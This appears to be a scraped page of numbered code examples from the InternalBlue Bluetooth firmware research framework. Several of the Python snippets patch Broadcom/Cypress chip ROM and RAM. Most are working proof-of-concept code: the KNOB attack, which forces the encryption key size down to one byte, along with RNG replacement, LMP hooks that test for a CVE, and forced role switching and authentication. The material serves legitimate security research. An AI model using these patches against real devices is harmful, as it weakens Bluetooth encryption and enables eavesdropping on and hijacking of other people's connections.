Ejemplo n.º 1
0
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info(
    "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4)  # connection struct key entropy
internalblue.patchRom(Address(0x3B3D4), patch)

# modify global variable for own setting
internalblue.writeMem(0x204A5F, b'\x01')  # global key entropy

internalblue.logger.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
Ejemplo n.º 2
0
    exit(-1)

internalblue.logger.info("installing assembly patches...")

# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=None):
    internalblue.logger.critical("error!")
    exit(-1)

# Disable original RNG
patch = asm(
    "bx lr; bx lr",
    vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    internalblue.logger.critical("Could not disable original RNG!")
    exit(-1)

internalblue.logger.info("Installed all RNG hooks.")
os.system("sudo rfkill block wifi")
internalblue.logger.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False

Ejemplo n.º 3
0
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
#    progress_log.critical("error!")
#    exit(-1)

# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

# Disable original RNG
patch = asm(
    "bx lr; bx lr",
    vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    log.critical("Could not disable original RNG!")
    exit(-1)

# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'):  # 0x219001
    log.critical("Could not implement our launch RAM fix!")
    exit(-1)

# Disable functions that crash us when using the target memory region at 0x219000
patch = asm(
    "bx lr; bx lr",
    vma=0x79AC6)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
Ejemplo n.º 4
0
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
#    progress_log.critical("error!")
#    exit(-1)

# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

# Disable original RNG
patch = asm(
    "bx lr; bx lr",
    vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    log.critical("Could not disable original RNG!")
    exit(-1)

# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(
        0x1AB218,
        p32(ASM_LOCATION_RNG + 1)):  # function table entries are sub+1
    log.critical("Could not implement our launch RAM fix!")
    exit(-1)

# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
Ejemplo n.º 5
0
    // undo registers for our own routine
    mov   r0, r7
    pop   {r1-r7, lr}

    // branch back to _connTaskRxDone + 4
    b     0x35fc0

"""

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
    log.critical("Installing patch for _connTaskRxDone failed!")
    exit(-1)

log.info("--------------------")
log.info(
    "To see statistics, execute 'internalblue' and run 'log_level debug'.")
Ejemplo n.º 6
0
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    internalblue.logger.critical("No connection to target device.")
    exit(-1)

internalblue.logger.info(
    "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0)  # connection struct key entropy
internalblue.patchRom(Address(0x689F0), patch)

# modify global variable for own setting
internalblue.writeMem(0x204127, b'\x01')  # global key entropy

internalblue.logger.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
Ejemplo n.º 7
0
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP,
                             data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1),
                             progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(
        address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
    progress_log.critical("error!")
    exit(-1)

# all send_lmp functions are in rom...
log.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
    log.critical("error!")
    exit(-1)

log.info(
    "Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE."
)

# shutdown connection
internalblue.shutdown()
log.info("------------------")
log.info(
    "To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*."
)
Ejemplo n.º 8
0
"""

internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4)  # connection struct key entropy
internalblue.patchRom(0x3B3D4, patch)

# modify global variable for own setting
internalblue.writeMem(0x204A5F, '\x01')  # global key entropy

internalblue.shutdown()
exit(-1)
log.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n")
Ejemplo n.º 9
0
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
#    internalblue.logger.critical("error!")
#    exit(-1)

# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(
        address=ASM_LOCATION_RNG, data=code, progress_log=None):
    internalblue.logger.critical("error!")
    exit(-1)

# Disable original RNG
patch = asm(
    "bx lr; bx lr",
    vma=FUN_RNG)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
    internalblue.logger.critical("Could not disable original RNG!")
    exit(-1)

# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG + 1)):  # 0x219001
    internalblue.logger.critical("Could not implement our launch RAM fix!")
    exit(-1)

# Disable functions that crash us when using the target memory region at 0x219000
patch = asm(
    "bx lr; bx lr",
    vma=0x79AC6)  # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
Ejemplo n.º 10
0
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A)  # connection struct key entropy
internalblue.patchRom(Address(0x7402A), patch)

# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01')  # global key entropy

log.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n"
    "-----------------------KNOB-----------------------\n"
    "Automatically continuing on KNOB interface...\n"
    "Use the 'knob' command to *debug* the attack, i.e.:\n"
    "    knob --hnd 0x0c\n"
    "...shows the key size of handle 0x000c.\n")
Ejemplo n.º 11
0
"""

internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0)  # connection struct key entropy
internalblue.patchRom(0x689F0, patch)

# modify global variable for own setting
internalblue.writeMem(0x204127, '\x01')  # global key entropy

internalblue.shutdown()
exit(-1)
log.info(
    "-----------------------\n"
    "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
    "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
    "For more details, see special instructions for BlueZ.\n")
Ejemplo n.º 12
0
"""


internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)


log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A)  # connection struct key entropy
internalblue.patchRom(0x7402A, patch)

# modify global variable for own setting
internalblue.writeMem(0x280F13, '\x01')  # global key entropy


internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
         "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
         "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
         "For more details, see special instructions for BlueZ.\n")


Ejemplo n.º 13
0
code1 = b"""
        @Part 1: Make sure we always switch roles
        mov r6, #0x0
        sub sp, #0x18
        add r0, #0xc
        b 0x2e7ad
        """
addrcode1 = 0x2006d0
taddrcode1 = addrcode1 + 1  # 0x2006d1
# write code1 into addrcode1 (SRAM)
code1Bytes = asm(code1, addrcode1)
internalblue.writeMem(addrcode1, code1Bytes)
# patch rom
addrpatch1 = 0x2e7a8
patch1 = asm("b {}".format(str(hex(taddrcode1))), vma=addrpatch1)
internalblue.patchRom(addrpatch1, patch1)

# patch 2: immediately authenticate after setup

code1len = len(code1Bytes)
# 4-byte align
code1len += 4 - (code1len % 4)

code2 = b"""
        @save lr
        push {lr}

        @call lm_HandleHciAuthenticationReq
        bl 0xaec11

        @make up for what we overwrote